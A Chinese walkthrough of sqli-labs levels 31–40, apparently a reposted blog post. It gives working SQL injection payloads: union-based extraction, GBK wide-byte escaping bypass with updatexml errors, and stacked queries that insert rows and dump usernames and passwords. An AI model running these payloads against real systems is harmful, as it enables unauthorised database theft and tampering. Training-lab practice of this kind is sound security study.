当前位置: 首页 > news >正文

sqli-labs-master/Less-31~Less-40

Less-31

这一关,先试闭合

?id=1")--+

页面正常说明使用双引号括号闭合的

那我们直接爆库 

?id=-1")union select 1,database(),3--+

有了库名接下来我们爆表

?id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 接下来爆表

?id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

然后爆字段

?id=-1")union select 1,group_concat(id,'~',username,'~',password),3 from users --+

完成。

Less-32

这一关他将我们的单引号转义了,这关就是单引号闭合的,如果没有单引号我们是没有办法做的

那怎么绕过呢?这就需要知道他将我们输入的单引号转义成了什么,通过查看他将单引号转移成了

\'。

为啥转义成\'就不能闭合了明明单引号还在?

在SQL中, \' (反斜杠+单引号)会被当作字符串的一部分,核心原因是反斜杠( \ )的“转义作用”——它将单引号从“语法符号”变成了“普通字符”,让SQL解析器不再将其视为字符串的边界。
具体来说:
SQL语句中,单引号( ' )的默认作用是标识字符串的开始或结束(即边界)。例如:
SELECT * FROM users WHERE name = 'zhangsan'
这里的两个单引号是边界,中间的 zhangsan 是字符串内容。
如果用户输入包含单引号(比如 user'123 ),不处理的话会破坏语法:
SELECT * FROM users WHERE name = 'user'123'  -- 语法错误(多了一个单引号)
为了避免这种情况,程序会用反斜杠( \ )对单引号进行转义,转义后单引号变成 \' 。此时,SQL解析器会将 \ 视为“转义符”,理解为:“后面的单引号不是边界,而是字符串里的一个普通字符”。
例如,输入 user'123 被转义为 user\'123 ,SQL语句变为:
SELECT * FROM users WHERE name = 'user\'123'
此时,解析器会把 user'123 整体当作字符串内容(单引号被当作普通字符),语法正确,避免了注入。
简单说: \ 的作用是“告诉SQL解析器:后面的单引号不是边界,只是个普通字符”,因此 \' 会被当作字符串的一部分处理。

那怎么绕过呢?

宽字节注入的绕过原理
宽字节注入的核心是利用字符编码转换,抵消反斜杠的转义作用。具体场景如下:
- 应用程序使用宽字节编码(如GBK,每个字符占2字节)存储数据。
- 转义时,反斜杠( \ )在ASCII编码中是单字节(十六进制  0x5C )。
当用户输入一个高字节字符(如  0xBF )时,应用程序在将输入转换为宽字节编码时,会将  0xBF  与后面的反斜杠  0x5C  合并为一个GBK字符( 0xBFC5  是一个合法的GBK字符)。此时,反斜杠被“消耗”,原本被转义的单引号  \'  会恢复为  ' ,从而重新具备破坏SQL语句的能力。
例如:
- 用户输入  %BF' ( %BF  是  0xBF  的URL编码)。
- 转义后变为  %BF\' (即  0xBF 0x5C 0x27 )。
- 宽字节编码转换时, 0xBF  与  0x5C  合并为一个字符,剩余  0x27 (单引号),导致SQL语句被注入:
SELECT * FROM users WHERE username = '�' OR ... ( �  是合并后的宽字节字符,单引号恢复作用)。
总结
单引号被转义为  \'  是应用程序的安全防护机制,目的是将单引号从语法符号转为普通字符;而宽字节注入通过编码特性“吃掉”反斜杠,使单引号恢复语法作用,从而绕过防护。

知道了这些我们再来做这道题

首先我们来爆库名,因为没有回显点所以我们用报错函数

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

下面爆表名,这里注意不能再用'security'了因为它的单引号也会被转义

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

下面爆字段,同理

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+

 最后爆数据

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+

Less-33

试了一下这一关也是宽字节注入,和上一关一模一样,直接参考就行

Less-34

这一关改成了post传参,但还是一样,因为post传参不显示在url上了,所以我们直接抓包做就好了

不在输入框输入我们拼接的语句是因为它会将我们的语句编码

爆库

%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#

下面我就不说了

Less-35

这一关发现不需要闭合,它是一个数字型的,我们的语句会直接生效,数字型闭合宽字节

那直接爆库

?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 爆表

?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+

最后爆数据

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+

 Less-36

这一关竟然和32一样宽字节注入

爆库

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

后面我就不写了

Less-37

 这一关又是一个post型宽字节注入,抓包报库

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 后面参考34关

Less-38

用来练习一下堆叠注入上面关卡还没有用到过,堆叠注入就是拼接的语句后加上分号然后跟上增删改查的语句。

例如我们往进去插一条数据

?id=1' union select 1,2,3;insert into users (id,username,password) values(111,'2','3')--+

 看一下这条数据进去了没

?id=1' union select 1,(select group_concat(username, password) from users where id = 111),3 --+

 

以此类推。 

 Less-39

这一关数字型堆叠注入

?id=1 union select 1,(select group_concat(username, password) from users where id = 111),3 --+

和上一关一样。

Less-40

还是用堆叠注入单引号括号闭合

?id=-1') union select 1,(select group_concat(username, password) from users where id = 111),3 --+

http://www.lryc.cn/news/609427.html

相关文章:

  • numpy数组拼接 - np.concatenate
  • 张 事实关注增强模型:提升AI准确率新方法
  • 数据结构:反转链表(reverse the linked list)
  • 通用 PDF 文件流 OCR 到文本 API 接口
  • 【unitrix】 7.2 二进制位减法(bit_sub.rs)
  • steam Rust游戏 启动错误,删除sys驱动,亲测有效。
  • 力扣301:删除无效的括号
  • 【量化交易】日内交易有效特征因子
  • 【解决办法】报错Found dtype Long but expected Float
  • 数据集相关类代码回顾理解 | StratifiedShuffleSplit\transforms.ToTensor\Counter
  • Kubernetes 节点摘除指南
  • 模型预估打分对运筹跟踪的影响
  • SaProt 模型部署与运行教程
  • 从0搭建YOLO目标检测系统:实战项目+完整流程+界面开发(附源码)
  • 数据结构学习(day01)
  • 1、docker容器命令 | 生命周期管理
  • 多模态后训练反常识:长思维链SFT和RL的协同困境
  • Spring Batch的2种STEP定义方式
  • 最新Android Studio汉化教程--兼容插件包
  • c++ --- priority_queue的使用以及简单实现
  • 时序论文44 | TwinsFormer:通过两个交互组件重构时间序列内在依赖关系
  • 算法竞赛阶段二-数据结构(39)数据结构栈模拟实现
  • 06.Redis 配置文件说明
  • 第13章 文件输入/输出
  • MySQL半同步复制机制详解:AFTER_SYNC vs AFTER_COMMIT 的优劣与选择
  • 前后端交流
  • Git常用命令详解
  • RSA 解密逻辑
  • 微服务的使用
  • AI生成图片工具分享!